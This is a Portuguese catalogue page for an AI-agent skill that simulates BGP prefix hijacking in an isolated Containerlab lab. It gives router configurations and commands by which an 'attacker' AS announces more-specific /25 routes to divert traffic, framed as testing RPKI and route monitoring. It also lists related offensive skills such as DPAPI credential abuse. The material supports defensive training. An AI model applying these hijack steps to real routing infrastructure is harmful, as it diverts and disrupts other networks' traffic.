exploiting-bgp-hijacking-vulnerabilities
Faz seu agente analisar e simular ataques de sequestro de rotas na internet. Ele testa defesas contra ataques que desviam o tráfego de rede.
O que ela faz
Esta ferramenta simula ataques de sequestro de rotas BGP em um ambiente de laboratório seguro. Ela ajuda a verificar se suas defesas estão preparadas para proteger a infraestrutura de internet contra anúncios de rotas falsas.
Quando usar
- ✓Testar a segurança da sua rede contra sequestro de rotas.
- ✓Verificar se seu sistema de monitoramento detecta anúncios de rotas não autorizados.
- ✓Treinar equipes de rede em como lidar com ataques de roteamento.
Exemplo do que pedir para a IA
“Simule um ataque de sequestro de rota BGP no meu laboratório para ver como minhas defesas reagem.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Você configura um ambiente de rede simulado com roteadores virtuais. Em seguida, simula anúncios de rotas legítimas e, depois, anúncios falsos para ver como o tráfego é desviado e se os sistemas de segurança detectam a anomalia.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-bgp-hijacking-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades de Sequestro de BGP
Quando Usar
- Avaliar a exposição de uma organização a ataques de sequestro de prefixos BGP e vazamentos de rotas.
- Testar a implementação de RPKI (Resource Public Key Infrastructure) e a eficácia da validação de origem de rotas.
- Validar se os sistemas de monitoramento e alerta BGP detectam anúncios de rotas não autorizados.
- Simular sequestro de BGP em ambientes de laboratório isolados para treinar equipes de operações de rede.
- Avaliar configurações de filtragem de prefixos e autorização de origem de rotas (ROA) de ISPs.
Não use para realizar sequestro de BGP real na internet ativa, contra peers BGP sem autorização, ou para interromper a infraestrutura de roteamento real da internet. Ataques BGP em sistemas de produção são ilegais e podem causar interrupções generalizadas na internet.
Pré-requisitos
- Ambiente de laboratório BGP isolado usando GNS3, EVE-NG ou Containerlab com roteadores virtuais (FRRouting, BIRD ou Cisco IOS).
- Compreensão dos atributos de caminho BGP, caminho AS, anúncios de prefixos e seleção de rotas.
- Acesso a servidores BGP looking glass e validadores RPKI para monitorar o status de rotas do mundo real.
- Ferramentas bgpstream, RIPEstat e BGPalerter para monitoramento de rotas.
- Autorização por escrito para qualquer teste que envolva números AS reais ou anúncios de prefixos.
Fluxo de Trabalho
Etapa 1: Construir um Ambiente de Laboratório BGP Isolado
# Install Containerlab for BGP simulation
sudo bash -c "$(curl -sL https://get.containerlab.dev)"
# Create a BGP lab topology file
cat > bgp-lab.clab.yml << 'EOF'
name: bgp-hijack-lab
topology:
nodes:
# Legitimate AS (AS65001) announcing 10.0.0.0/24
legitimate-router:
kind: linux
image: frrouting/frr:v8.5.0
binds:
- legitimate-frr.conf:/etc/frr/frr.conf
# Attacker AS (AS65002) that will hijack the prefix
attacker-router:
kind: linux
image: frrouting/frr:v8.5.0
binds:
- attacker-frr.conf:/etc/frr/frr.conf
# Transit provider (AS65000) connecting both
transit-router:
kind: linux
image: frrouting/frr:v8.5.0
binds:
- transit-frr.conf:/etc/frr/frr.conf
# Victim network receiving routes
victim-router:
kind: linux
image: frrouting/frr:v8.5.0
binds:
- victim-frr.conf:/etc/frr/frr.conf
links:
- endpoints: ["legitimate-router:eth1", "transit-router:eth1"]
- endpoints: ["attacker-router:eth1", "transit-router:eth2"]
- endpoints: ["transit-router:eth3", "victim-router:eth1"]
EOF
# Configure legitimate router (AS65001)
cat > legitimate-frr.conf << 'EOF'
frr defaults traditional
hostname legitimate-router
router bgp 65001
bgp router-id 1.1.1.1
neighbor 10.0.1.2 remote-as 65000
address-family ipv4 unicast
network 10.0.0.0/24
neighbor 10.0.1.2 activate
exit-address-family
!
interface eth1
ip address 10.0.1.1/30
!
interface lo
ip address 10.0.0.1/24
EOF
# Configure attacker router (AS65002) -- initially not announcing the prefix
cat > attacker-frr.conf << 'EOF'
frr defaults traditional
hostname attacker-router
router bgp 65002
bgp router-id 2.2.2.2
neighbor 10.0.2.2 remote-as 65000
address-family ipv4 unicast
neighbor 10.0.2.2 activate
exit-address-family
!
interface eth1
ip address 10.0.2.1/30
EOF
# Deploy the lab
sudo containerlab deploy -t bgp-lab.clab.yml
Etapa 2: Verificar o Roteamento BGP Legítimo
# Connect to victim router and verify route to 10.0.0.0/24
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp"
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.0/24"
# Expected: Route via AS65000 AS65001 (legitimate path)
# Verify traceroute follows the legitimate path
docker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1
# Check BGP table on transit router
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"
Etapa 3: Simular Sequestro de Prefixo (Rota Mais Específica)
# No roteador atacante, anunciar prefixos mais específicos
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
address-family ipv4 unicast
network 10.0.0.0/25
network 10.0.0.128/25
exit-address-family
!
interface lo
ip address 10.0.0.1/25
ip address 10.0.0.129/25
exit
end
write memory
VTYSH
# Verificar o sequestro no roteador vítima
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24 longer-prefixes"
# A vítima agora deve preferir as rotas /25 via o atacante
…
Perguntas frequentes
O que é BGP?
BGP (Border Gateway Protocol) é o sistema que os roteadores usam para decidir como enviar dados pela internet. É como o sistema de correios da internet, que direciona os pacotes de dados para o destino correto.
O que é sequestro de rota BGP?
É quando alguém anuncia falsamente que tem o controle de um caminho de rede (prefixo IP) que não lhe pertence, desviando o tráfego para si mesmo. É como se um carteiro dissesse que uma caixa de correio é dele quando não é.
Posso usar isso na internet real?
Não! Esta ferramenta só deve ser usada em ambientes de laboratório isolados. Usá-la na internet real é ilegal e pode causar interrupções graves.
Detalhes
Descrição original do autor
Analyzes and simulates BGP hijacking scenarios in authorized lab environments to assess route origin validation, RPKI deployment, and BGP monitoring defenses against prefix hijacking and route leak attacks on internet routing infrastructure. '
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5738
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC